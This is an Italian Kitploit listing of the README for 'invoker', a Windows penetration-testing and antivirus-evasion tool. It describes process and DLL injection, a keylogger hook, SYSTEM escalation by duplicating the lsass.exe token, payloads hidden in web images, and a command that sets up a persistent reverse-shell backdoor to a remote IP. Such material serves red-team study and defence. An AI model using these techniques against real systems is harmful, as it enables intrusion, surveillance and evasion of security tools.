Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
invoker — Utilità per test di penetrazione e strumento di valutazione antivirus. | Kitploit
Strumenti/GitHubGitHub/ivan-sincek/invoker
Escalation di PrivilegiMemory ForensicsExploitPost-ExploitPenetration TestingAnalisi di BinariApprendimento e FormazioneRed TeamingSviluppo PayloadArchived
GitHubivan-sincek/invoker

invoker

Utilità per test di penetrazione e strumento di valutazione antivirus.

3128263 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Invoker

Utilità per penetration testing e strumento di valutazione antivirus.

Realizzato con Visual Studio Community 2022 v17.5.4 (64-bit) e testato su Windows 10 Enterprise OS (64-bit).

Realizzato a scopo educativo. Spero che sia d'aiuto!

Questo repository ha cominciato ad avere firme note e non ho tempo di caricare nuovi eseguibili ogni volta, quindi dovresti compilare questo progetto da solo.

Siti utili:

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

Da fare:

  • rendere il process ghosting compatibile con architettura x86 perché NtCreateProcessEx non funziona bene con processi a 32 bit.

Piani futuri:

  • process hollowing,
  • process doppelgänging,
  • process herpaderping,
  • process ghosting,
  • altre invocazioni di DLL proxying,
  • COM hijacking,
  • script Python3 per offuscare staticamente l'intero codice sorgente.

Cose che tengo a mente mentre codifico:

  • semplificare tutto,
  • usare allocazioni dinamiche anziché allocazioni statiche, (a volte)
  • usare i diritti di accesso minimi richiesti e i flag di controllo,
  • gestire/catturare possibili errori/eccezioni,
  • azzerare e liberare array e memoria dopo l'uso,
  • chiudere correttamente handle/stream aperti dopo l'uso,
  • decrementare il conteggio dei riferimenti di librerie, oggetti e simili dopo l'uso,
  • chiamare il garbage cleaner prima di uscire. (non applicabile)

Tutto quanto sopra comporterà un PE con dimensioni più ridotte e un tasso di rilevamento minore.

Indice dei contenuti

  • Libreria Invoker
  • Come Eseguire
  • Iniezione di Bytecode
  • Generare un Payload di Reverse Shell
  • PowerShell
  • Chiamate di Sistema Dirette
  • Creare una DLL con una Procedura di Hook
  • Ottenere l'Account LocalSystem (NT AUTHORITY\SYSTEM)
  • Immagini

Invoker Library

Funzionalità:

  • invocare le shell di sistema,
  • effettuare chiamate di sistema dirette,
  • utilizzare Windows Management Instrumentation (WMI),
  • connettersi a un host remoto,
  • terminare un processo in esecuzione,
  • eseguire un nuovo processo,
  • scaricare la memoria di un processo,
  • manomettere l'immagine eseguibile di un processo,
  • iniettare bytecode in un processo,
  • iniettare una DLL in un processo,
  • elencare le DLL caricate di un processo,
  • invocare il DLL hijacking,
  • installare una procedura di hook,
  • abilitare i privilegi del token di accesso,
  • duplicare il token di accesso di un processo ed eseguire un nuovo processo,
  • scaricare un file,
  • aggiungere/modificare una chiave di registro,
  • programmare un'attività,
  • elencare percorsi di servizio non quotati e avviare, fermare o riavviare un servizio,
  • sostituire più file di System32.

Controlla la libreria Invoker qui. Sentiti libero di usarla!


Alcune funzionalità potrebbero richiedere privilegi amministrativi.

Alcune funzionalità potrebbero non funzionare su Windows XP e versioni precedenti a causa di alcuni diritti di accesso specifici e flag di controllo utilizzati.

Come Eseguire

Esegui Invoker_x86.exe (32-bit) o Invoker_x64.exe (64-bit).

Per automatizzare la backdoor di reverse shell aggiungendo persistenza, esegui il seguente comando:

root@kitploit:~
Invoker_x64.exe 192.168.8.5:9000

Invoker a 32 bit può:

  • effettuare chiamate di sistema dirette,
  • scaricare la memoria di un processo a 32 bit,
  • manomettere e iniettare l'immagine eseguibile di un processo a 32 bit in un processo a 32 bit,
  • manomettere e iniettare l'immagine eseguibile di un processo a 64 bit in un processo a 64 bit,
  • iniettare bytecode a 32 bit in un processo a 32 bit,
  • iniettare una DLL a 32 bit in un processo a 32 bit,
  • elencare le DLL caricate di un processo a 32 bit,
  • installare una procedura di hook da una DLL a 32 bit.

Invoker a 64 bit può:

  • effettuare chiamate di sistema dirette,
  • scaricare la memoria di un processo a 32 bit,
  • scaricare la memoria di un processo a 64 bit,
  • manomettere e iniettare l'immagine eseguibile di un processo a 32 bit in un processo a 32 bit,
  • manomettere e iniettare l'immagine eseguibile di un processo a 64 bit in un processo a 64 bit,
  • iniettare bytecode a 32 bit in un processo a 32 bit,
  • iniettare bytecode a 64 bit in un processo a 64 bit,
  • iniettare una DLL a 32 bit in un processo a 32 bit,
  • iniettare una DLL a 64 bit in un processo a 64 bit,
  • elencare le DLL caricate di un processo a 32 bit,
  • elencare le DLL caricate di un processo a 64 bit,
  • installare una procedura di hook da una DLL a 32 bit,
  • installare una procedura di hook da una DLL a 64 bit.

Nota che ogni tecnica di iniezione ha sia pro che contro; ad esempio, alcune tecniche richiedono meno diritti di accesso, utilizzano metodi meno sospetti, ecc., ma potrebbero, ad esempio, crashare il processo, richiedere tempo e altre condizioni speciali per eseguire il payload, ecc.

Nota che alcuni impianti C2C potrebbero non funzionare dopo il rilascio della memoria. In tal caso, commenta metodi come VirtualFreeEx, NtFreeVirtualMemory, ecc.

Iniezione di Bytecode

Eleva i privilegi iniettando bytecode in un processo con privilegi più elevati.

Questo strumento può scaricare il contenuto di un file binario in memoria e iniettarlo in un processo in esecuzione. Può anche analizzare una risposta HTTP ed estrarre il payload da un elemento personalizzato, ad esempio da <invoker>payload</invoker> dove payload è un codice binario codificato in Base64.

Controlla l'esempio su pastebin.com/raw/xf9Trt0d.

Questo è utile se l'antivirus cancella costantemente i tuoi payload locali.

Controlla un esempio aggiuntivo su pastebin.com/raw/iW17rCxH - payload nascosto nell'elemento immagine.

P.S. I bytecode forniti molto probabilmente non funzioneranno per te.

Usa ngrok per dare al tuo server web locale un indirizzo pubblico.


Per vedere se un processo è a 32 o 64 bit, apri Task Manager -> clicca su More details -> vai alla scheda Details -> fai clic destro su una qualsiasi delle colonne -> clicca su Select columns -> seleziona la casella Platform.

Per vedere se un processo è in esecuzione con privilegi amministrativi, seleziona la casella Elevated.

Generare un Payload di Reverse Shell

Scopri come generare un payload di reverse shell dal mio altro progetto, oltre a come configurare i listener Ncat e multi/handler.

L'iniezione di bytecode potrebbe fallire perché il bytecode potrebbe avere caratteri non validi, una funzione di uscita sbagliata o una codifica errata; l'iniezione di DLL è più affidabile.

PowerShell

Se desideri eseguire una reverse shell o bind shell di PowerShell da Invoker, apri Invoker e avvia una sessione PowerShell, quindi esegui uno qualsiasi degli one-liners (dal mio altro progetto).

Chiamate di Sistema Dirette

La libreria di chiamate di sistema dirette e l'assembly sono stati generati con SysWhispers2. Crediti all'autore!

Per generare la stessa libreria e assembly, esegui il seguente comando dalla tua console preferita:

root@kitploit:~
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

Controlla il mio wrapper per la libreria e l'assembly qui. Sentiti libero di usarlo!

Creare una DLL con una Procedura di Hook

Controlla la semplice DLL con una procedura di hook qui. La procedura di hook invocherà una message box ad ogni chiusura di finestra.

Controlla la procedura di hook della tastiera (cioè keylogger) qui.

Controlla la procedura di hook del mouse che eseguirà un nuovo processo al primo clic del mouse qui.

Non dimenticare di rimuovere tutti gli artefatti creati dopo aver terminato i test, ad esempio rimuovi keylogger.log, ecc.

Ottenere l'Account LocalSystem (NT AUTHORITY\SYSTEM)

Segui questi semplici passaggi:

  1. Esegui Invoker come amministratore.

  2. Abilita tutti i privilegi del token di accesso.

  3. Duplica il token di accesso da, ad esempio, Local Security Authority Subsystem Service (lsass.exe) ed esegui una nuova istanza di Invoker.

  4. All'interno della nuova istanza di Invoker, apri il Prompt dei comandi ed esegui whoami, ora dovresti vedere nt authority\system.

  5. Abilita ancora una volta tutti i privilegi del token di accesso.

  6. Chiudi la vecchia istanza di Invoker.

Immagini

Invoker

Figura 1 - Invoker

Iniezione di Bytecode

Figura 2 - Iniezione di Bytecode

Privilegi Elevati

Figura 3 - Privilegi Elevati

Scarica lo strumento